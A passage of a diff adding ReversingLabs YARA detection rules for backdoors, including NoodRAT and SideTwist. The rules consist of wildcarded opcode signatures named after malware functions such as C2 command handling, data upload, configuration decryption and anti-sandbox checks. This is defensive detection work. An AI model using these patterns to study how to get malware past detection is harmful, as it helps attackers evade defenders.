+            ?? 50 F3 A5 FF 15 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 81 C6 ?? ?? ?? ?? 56 E8
+        }
+		$create_cab_file_and_upload_p3 = {
+            6A ?? 6A ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F8 85 FF 0F 84 ?? ?? ?? ?? 6A ??
+            6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 56 57 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ??
+            89 85 ?? ?? ?? ?? 85 C0 75 ?? 57 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? 5F 5E 5B 8B 4D ??
+            33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8B B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 81 C6 ?? ?? ?? ??
+            6A ?? 56 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? 50 05 ?? ?? ?? ?? 50 68 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ??
+            6A ?? 6A ?? 6A ?? 56 68 ?? ?? ?? ?? 51 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ??
+            ?? 8B F0 85 F6 75 ?? 8B 95 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 52 FF D6 57 FF D6 B8 ?? ??
+            ?? ?? 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8B 85 ?? ?? ?? ?? 50 53 6A
+            ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 50 50 50 56 FF 15 ?? ?? ?? ?? 56
+            8B 35 ?? ?? ?? ?? FF D6 8B 8D ?? ?? ?? ?? 51 FF D6 57 FF D6 B8 ?? ?? ?? ?? 5F 5E 5B
+            8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 53 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 8D 95 ??
+            ?? ?? ?? 52 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 50 50 50 56 FF 15 ?? ?? ?? ?? 56 8B 35
+            ?? ?? ?? ?? FF D6 8B 85 ?? ?? ?? ?? 50 FF D6 57 FF D6 B8 ?? ?? ?? ?? 5F 5E 5B 8B 4D
+            ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8B 85 ?? ?? ?? ?? 85 C0 75 ?? 50 50 50 56 FF 15
+            ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? FF D6 8B 8D ?? ?? ?? ?? 51 FF D6 57 FF D6 83 C8
+        }
+		$create_cab_file_and_upload_p4 = {
+            5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 40 50 6A ?? 89 85 ?? ?? ?? ?? FF
+            15 ?? ?? ?? ?? 8B D8 85 DB 75 ?? 50 50 50 56 FF 15 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ??
+            FF D6 8B 95 ?? ?? ?? ?? 52 FF D6 57 FF D6 83 C8 ?? 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ??
+            ?? ?? 8B E5 5D C3 8B 85 ?? ?? ?? ?? 50 6A ?? 53 E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83
+            C4 ?? 8D 8D ?? ?? ?? ?? 51 52 53 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 53
+            E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 89 85 ?? ?? ?? ?? EB ?? C7 85 ?? ?? ?? ?? ?? ??
+            ?? ?? 53 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 56 8B 35 ?? ?? ??
+            ?? FF D6 8B 85 ?? ?? ?? ?? 50 FF D6 57 FF D6 8B 4D ?? 8B 85 ?? ?? ?? ?? 5F 5E 33 CD
+            5B E8 ?? ?? ?? ?? 8B E5 5D C3
+        }
+		$cmd_expand_payload = {
+            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 68 ?? ?? ?? ?? 8B
+            D9 33 FF 8D 8D ?? ?? ?? ?? 33 C0 57 51 66 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? 8D 85 ?? ?? ?? ?? 33 D2 57 50 66 89 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 8D
+            ?? ?? ?? ?? 57 51 89 BD ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 57 68 ?? ?? ?? ?? 6A ??
+            57 6A ?? 33 C0 68 ?? ?? ?? ?? 53 89 BD ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ??
+            ?? 89 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 74 ?? 57 57 57 6A ?? 57 56 FF
+            15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 3B C7 75 ?? 56 FF 15 ?? ?? ?? ?? 83 C8 ?? 5F 5E 5B
+            8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 57 57 57 6A ?? 50 FF 15 ?? ?? ?? ?? 8B F8
+            85 FF 74 ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 6A ?? 8D 47 ?? 50 6A ?? 6A ?? FF 15
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8B 57 ?? 83 C4 ?? 57 89 95 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 85 ??
+            ?? ?? ?? 8B 3D ?? ?? ?? ?? 50 FF D7 56 FF D7 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ??
+            51 E8 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ??
+            ?? 83 C4 ?? 33 C0 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 50 50 68 ?? ?? ?? ?? 50
+            50 50 66 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
+            FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D3 6A
+            ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ??
+            8B F0 83 FE ?? 75 ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 56 FF D7 8B 4D ?? 8B 85 ?? ??
+            ?? ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ( all of ($network_communication_p*)) and ( all of ($handle_c2_commands_p*)) and ( all of ($create_cab_file_and_upload_p*)) and ($cmd_expand_payload)
+}
+rule REVERSINGLABS_Linux_Backdoor_Noodrat : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects NoodRAT backdoor."
+		author = "ReversingLabs"
+		id = "ac5eae27-dc42-5060-b639-c23c0bbabb50"
+		date = "2024-08-26"
+		modified = "2024-08-26"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/backdoor/Linux.Backdoor.NoodRAT.yara#L1-L162"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "2ec4a8ba7428054edb4dcdb6a00015b9758badf515f2c210bb946ba5402674d2"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Backdoor"
+		tc_detection_name = "NoodRAT"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$change_name_on_system_p1 = {
+            41 56 41 55 41 54 55 53 48 81 EC ?? ?? ?? ?? 48 89 FB 48 8D BC 24 ?? ?? ?? ?? B8 ??
+            ?? ?? ?? B9 ?? ?? ?? ?? F3 48 AB 48 8D BC 24 ?? ?? ?? ?? B1 ?? F3 48 AB C6 84 24 ??
+            ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ??
+            C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ??
+            ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 0F B7 15
+            ?? ?? ?? ?? 66 89 55 ?? 4C 8D 65 ?? 0F B7 D2 BE ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ??
+            48 8D 94 24 ?? ?? ?? ?? 0F B7 75 ?? 4C 89 E7 E8 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ??
+            4C 89 E6 48 89 EF E8 ?? ?? ?? ?? 4C 8B 03 48 C7 C6 ?? ?? ?? ?? 4C 89 C7 B8 ?? ?? ??
+            ?? 48 89 F1 F2 AE 48 F7 D1 48 8D 14 31 48 89 EF 48 89 F1 F2 AE 48 89 CE 48 F7 D6 48
+            83 EE ?? 48 39 F2 72 ?? BE ?? ?? ?? ?? 4C 89 C7 E8 ?? ?? ?? ?? 48 89 EE 48 8B 3B E8
+            ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? B8 ?? ?? ?? ?? B9
+            ?? ?? ?? ?? F3 48 AB 48 8D BC 24 ?? ?? ?? ?? B1 ?? F3 48 AB C6 84 24 ?? ?? ?? ?? ??
+            C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ??
+            ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ??
+            C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ??
+            ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ??
+            C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ??
+            ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 48 8D B4 24 ?? ?? ?? ??
+            48 8D BC 24 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C2 B8 ?? ?? ?? ?? 48 85
+            D2 0F 8E ?? ?? ?? ?? 48 C7 C2 ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? 48 89 D1 F2 AE 48
+        }
+		$change_name_on_system_p2 = {
+            89 CB 48 8D BC 24 ?? ?? ?? ?? 48 89 D1 F2 AE F7 D3 8D 5C 0B ?? 85 DB B8 ?? ?? ?? ??
+            0F 4E D8 48 8D B4 24 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 48
+            89 EF B8 ?? ?? ?? ?? 48 C7 C1 ?? ?? ?? ?? F2 AE 48 F7 D1 48 8D 79 ?? 48 63 D3 48 63
+            FF 48 8D 7C 3D ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ??
+            ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ??
+            C6 84 24 ?? ?? ?? ?? ?? 48 8D B4 24 ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 49 89 C6 48
+            8D B4 24 ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C3 48 89 E7 B9 ??
+            ?? ?? ?? B8 ?? ?? ?? ?? F3 48 AB C6 07 ?? 48 89 E5 41 BC ?? ?? ?? ?? 41 BD ?? ?? ??
+            ?? EB ?? 48 89 EF 4C 89 E9 4C 89 E0 F3 48 AB C6 07 ?? 48 89 D9 BA ?? ?? ?? ?? BE ??
+            ?? ?? ?? 48 89 E7 E8 ?? ?? ?? ?? 85 C0 7E ?? 48 63 D0 4C 89 F1 BE ?? ?? ?? ?? 48 89
+            E7 E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 85 C0 74 ?? 48 89 DF E8 ?? ?? ?? ?? 4C 89
+            F7 E8 ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 85 C0 75 ?? 48 8D BC 24 ?? ?? ?? ?? 48 89 BC 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ??
+            ?? ?? ?? ?? ?? 48 8D B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? EB ?? 85 C0 7E
+            ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ??
+            ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B 5D 41 5C 41 5D 41 5E C3
+        }
+		$decrypt_configuration_p1 = {
+            41 57 41 56 41 55 41 54 55 53 48 81 EC ?? ?? ?? ?? 48 89 7C 24 ?? 48 8D 9C 24 ?? ??
+            ?? ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 89 DF F3 48 AB C6 07 ?? 48 8D 54 24 ?? B1 ??
+            48 89 D7 F3 48 AB C6 44 24 ?? ?? C6 44 24 ?? ?? C6 44 24 ?? ?? C6 44 24 ?? ?? C6 44
+            24 ?? ?? C6 44 24 ?? ?? C6 44 24 ?? ?? C6 44 24 ?? ?? 48 8D 54 24 ?? 0F B7 35 ?? ??
+            ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? B8 ?? ?? ?? ?? 48 C7 C1 ?? ?? ??
+            ?? F2 AE 48 F7 D1 48 83 E9 ?? 48 81 F9 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 0F 46 D1 BE ??
+            ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? C6 44 24 ?? ?? C6 44 24 ?? ?? 48 8D 74 24 ?? 48 89
+            DF E8 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 8D 50 ?? 48 89 54 24 ?? C6 00 ?? 48
+            8D 74 24 ?? 48 89 D7 E8 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 8D 48 ?? 48 89 4C
+            24 ?? C6 00 ?? 48 8D 74 24 ?? 48 89 CF E8 ?? ?? ?? ?? 48 89 44 24 ?? 48 85 C0 0F 84
+            ?? ?? ?? ?? C6 00 ?? 48 8D B4 24 ?? ?? ?? ?? 48 C7 C5 ?? ?? ?? ?? 48 89 F7 41 BC ??
+            ?? ?? ?? 48 89 E9 44 89 E0 F2 AE 48 F7 D1 48 01 E9 48 8D 5C 24 ?? 48 81 F9 ?? ?? ??
+            ?? BA ?? ?? ?? ?? 48 0F 46 D1 48 89 DF E8 ?? ?? ?? ?? 48 89 DF 48 89 E9 44 89 E0 F2
+            AE 48 89 CD 48 F7 D5 83 ED ?? 8D 45 ?? 48 98 80 7C 04 ?? ?? 74 ?? 48 63 C5 C6 44 04
+            ?? ?? 83 C5 ?? 48 63 ED C6 44 2C ?? ?? 4C 8D 6C 24 ?? 4C 89 EB BD ?? ?? ?? ?? C7 44
+            24 ?? ?? ?? ?? ?? 66 C7 44 24 ?? ?? ?? 41 BC ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7
+            44 24 ?? ?? ?? ?? ?? 49 C7 C6 ?? ?? ?? ?? 4D 89 EF E9 ?? ?? ?? ?? 0F B6 03 3C ?? 75
+            ?? 44 8B 64 24 ?? 4D 6B E4 ?? 4C 03 64 24 ?? 49 8D 7C 24 ?? 83 7C 24 ?? ?? BA ?? ??
+            ?? ?? 0F 4E 54 24 ?? 48 63 D2 8B 74 24 ?? 48 8D 44 24 ?? 48 8D 34 30 E8
+        }
+		$decrypt_configuration_p2 = {
+            0F B7 54 24 ?? 66 41 89 54 24 ?? 83 44 24 ?? ?? 83 7C 24 ?? ?? 77 ?? 89 6C 24 ?? 41
+            BC ?? ?? ?? ?? EB ?? 3C ?? 75 ?? 48 8D 7B ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 66 89 44 24 ?? 44 89 64 24 ?? EB ?? 41 83 C4 ?? 83 C5 ?? 48 83 C3 ?? 4C 89 F1
+            4C 89 FF B8 ?? ?? ?? ?? F2 AE 48 F7 D1 48 83 E9 ?? 48 89 D8 4C 29 E8 48 39 C8 0F 82
+            ?? ?? ?? ?? 8B 4C 24 ?? 48 8B 54 24 ?? 89 8A ?? ?? ?? ?? 48 8D 5C 24 ?? B9 ?? ?? ??
+            ?? B8 ?? ?? ?? ?? 48 89 DF F3 48 AB 48 8B 7C 24 ?? 48 C7 C1 ?? ?? ?? ?? F2 AE 48 F7
+            D1 48 8D 51 ?? 48 8B 74 24 ?? 48 89 DF E8 ?? ?? ?? ?? 80 7C 24 ?? ?? 75 ?? 48 8B 44
+            24 ?? C6 80 ?? ?? ?? ?? ?? 80 7C 24 ?? ?? 75 ?? 48 8B 54 24 ?? C6 82 ?? ?? ?? ?? ??
+            80 7C 24 ?? ?? 75 ?? 48 8B 4C 24 ?? C6 81 ?? ?? ?? ?? ?? 80 7C 24 ?? ?? 75 ?? 48 8B
+            44 24 ?? C6 80 ?? ?? ?? ?? ?? 80 7C 24 ?? ?? 75 ?? 48 8B 54 24 ?? C6 82 ?? ?? ?? ??
+            ?? 80 7C 24 ?? ?? 75 ?? 48 8B 4C 24 ?? C6 81 ?? ?? ?? ?? ?? 80 7C 24 ?? ?? 75 ?? 48
+            8B 44 24 ?? C6 80 ?? ?? ?? ?? ?? 48 8D 5C 24 ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? 48 89
+            DF F3 48 AB 48 8B 7C 24 ?? 48 C7 C1 ?? ?? ?? ?? F2 AE 48 F7 D1 48 83 E9 ?? 48 81 F9
+            ?? ?? ?? ?? BA ?? ?? ?? ?? 48 0F 46 D1 48 8B 74 24 ?? 48 89 DF E8 ?? ?? ?? ?? C6 44
+            24 ?? ?? C6 44 24 ?? ?? 48 8D 74 24 ?? 48 89 DF E8 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ??
+            ?? ?? 48 8D 7C 24 ?? B8 ?? ?? ?? ?? 48 C7 C1 ?? ?? ?? ?? F2 AE 48 F7 D1 83 E9 ?? 8D
+        }
+		$decrypt_configuration_p3 = {
+            41 ?? 48 98 80 7C 04 ?? ?? 74 ?? 48 63 C1 C6 44 04 ?? ?? 83 C1 ?? 48 63 C9 C6 44 0C
+            ?? ?? 4C 89 EB BD ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 49 C7
+            C4 ?? ?? ?? ?? 4C 8D 74 24 ?? 41 BF ?? ?? ?? ?? EB ?? 0F B6 03 3C ?? 75 ?? 8B 7C 24
+            ?? 48 8D 54 24 ?? 48 8D 3C 3A BA ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 54 24
+            ?? 48 81 C2 ?? ?? ?? ?? 48 8B 4C 24 ?? 66 89 44 91 ?? 0F B7 44 24 ?? 66 89 44 91 ??
+            83 44 24 ?? ?? 83 7C 24 ?? ?? 77 ?? 89 6C 24 ?? EB ?? 3C ?? 75 ?? 48 8D 7B ?? BA ??
+            ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 89 44 24 ?? 83 C5 ?? 48 83 C3 ?? 4C 89 E1
+            4C 89 F7 44 89 F8 F2 AE 48 F7 D1 48 83 E9 ?? 48 89 D8 4C 29 E8 48 39 C8 0F 82 ?? ??
+            ?? ?? 8B 4C 24 ?? 48 8B 54 24 ?? 89 8A ?? ?? ?? ?? EB ?? 48 8B 44 24 ?? C7 80 ?? ??
+            ?? ?? ?? ?? ?? ?? 48 8B 7C 24 ?? 48 83 C7 ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 85 C0 BA ?? ?? ?? ?? 0F 4E C2 48 8B 54 24 ?? 89 82 ?? ?? ?? ?? B8 ?? ?? ?? ??
+            EB ?? B8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B 5D 41 5C 41 5D 41 5E 41 5F C3
+        }
+		$encrypt_and_send_data = {
+            48 89 5C 24 ?? 48 89 6C 24 ?? 4C 89 64 24 ?? 4C 89 6C 24 ?? 4C 89 74 24 ?? 4C 89 7C
+            24 ?? 48 83 EC ?? 41 89 FC 48 89 F5 49 89 D6 41 89 CD 48 85 F6 0F 84 ?? ?? ?? ?? BF
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C3 48 85 C0 0F 84 ?? ?? ?? ?? 48 8B 45 ?? 48 89 03
+            0F B6 45 ?? 88 43 ?? 8B 6B ?? 48 8B 3D ?? ?? ?? ?? 48 83 C7 ?? E8 ?? ?? ?? ?? BA ??
+            ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 44 89 E9 BA ?? ?? ?? ?? 48 89 DE 44
+            89 E7 E8 ?? ?? ?? ?? 85 C0 75 ?? 48 8B 3D ?? ?? ?? ?? 48 83 C7 ?? E8 ?? ?? ?? ?? 48
+            89 DF E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 85 ED 74
+            ?? 4D 85 F6 75 ?? 48 8B 3D ?? ?? ?? ?? 48 83 C7 ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9
+            ?? ?? ?? ?? 4C 63 FD 4C 89 FF E8 ?? ?? ?? ?? 48 89 C3 48 85 C0 74 ?? 4C 89 FA 4C 89
+            F6 48 89 C7 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 EE 48 89 DF E8 ?? ?? ?? ?? 44 89 E9 89
+            EA 48 89 DE 44 89 E7 E8 ?? ?? ?? ?? 85 C0 75 ?? 48 8B 3D ?? ?? ?? ?? 48 83 C7 ?? E8
+            ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? EB ?? 48 8B 3D ?? ?? ?? ?? 48 83
+            C7 ?? E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? EB ?? B8 ?? ?? ?? ?? 48
+            8B 5C 24 ?? 48 8B 6C 24 ?? 4C 8B 64 24 ?? 4C 8B 6C 24 ?? 4C 8B 74 24 ?? 4C 8B 7C 24
+            ?? 48 83 C4 ?? C3
+        }
+		$receive_and_decrypt_data = {
+            48 89 5C 24 ?? 48 89 6C 24 ?? 4C 89 64 24 ?? 4C 89 6C 24 ?? 48 83 EC ?? 41 89 FC 48
+            89 F3 49 89 D5 89 CD 48 85 F6 74 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? BA ??
+            ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 8B 53 ?? 85 D2 74 ?? 4D 85 ED 75 ??
+            B8 ?? ?? ?? ?? EB ?? 81 FA ?? ?? ?? ?? 77 ?? 89 E9 4C 89 EE 44 89 E7 E8 ?? ?? ?? ??
+            85 C0 74 ?? 8B 73 ?? BA ?? ?? ?? ?? 4C 89 EF E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? EB ?? B8
+            ?? ?? ?? ?? 48 8B 5C 24 ?? 48 8B 6C 24 ?? 4C 8B 64 24 ?? 4C 8B 6C 24 ?? 48 83 C4 ??
+            C3
+        }
+
+	condition:
+		uint32(0)==0x464C457F and (( all of ($change_name_on_system_p*)) and ( all of ($decrypt_configuration_p*)) and ($encrypt_and_send_data) and ($receive_and_decrypt_data))
+}
+rule REVERSINGLABS_Win64_Backdoor_Sidetwist : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects SideTwist backdoor."
+		author = "ReversingLabs"
+		id = "979b442e-8739-54a8-b486-39fc5673791e"
+		date = "2024-03-18"
+		modified = "2024-03-18"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/backdoor/Win64.Backdoor.SideTwist.yara#L1-L154"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "811fa73ede59493c71435743848a3fce3a1604ec4065ffcb0b43e9715dfa5c31"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Backdoor"
+		tc_detection_name = "SideTwist"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$anti_sandbox_detect_environment = {
+            55 57 56 53 48 81 EC ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 89 4D ?? 48 89 55 ?? E8 ??
+            ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? 48 8D 55 ?? 48 8D 45 ?? 4C
+            8D 05 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 85 C0 75 ?? 48 8B 45 ?? 48 85
+            C0 74 ?? B8 ?? ?? ?? ?? EB ?? B8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 48 8D 45 ?? 48
+            89 C1 E8 ?? ?? ?? ?? 48 8B 55 ?? 48 8D 4D ?? 48 8D 45 ?? 49 89 C8 48 89 C1 E8 ?? ??
+            ?? ?? 48 8D 45 ?? 48 8D 55 ?? 4C 8D 05 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45
+            ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C1
+            E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF
+            D0 85 C0 0F 94 C0 84 C0 74 ?? 48 8D 05 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF
+            D0 BB ?? ?? ?? ?? BE ?? ?? ?? ?? EB
+        }
+		$collect_host_information = {
+            55 53 48 81 EC ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 4D ?? 48 89 55 ?? C7 45 ??
+            ?? ?? ?? ?? 8B 45 ?? 89 C0 48 BA ?? ?? ?? ?? ?? ?? ?? ?? 48 39 C2 72 ?? 48 01 C0 48
+            89 C1 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 55 ?? 48
+            8B 45 ?? 49 89 D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ??
+            48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 55 ?? 48 8B 45 ?? 49 89 D0 48 89 C2 B9 ??
+            ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF D0 85 C0 0F 95 C0 84 C0 0F 84 ?? ?? ?? ?? 48 8D 45
+            ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 4D ?? 48 8B 55 ?? 48 8D 45 ?? 49 89 C8 48 89 C1 E8
+            ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ??
+            48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48
+            89 C2 48 8D 4D ?? 48 8D 45 ?? 49 89 C9 49 89 D8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ??
+            48 8D 55 ?? 41 B9 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 55 ??
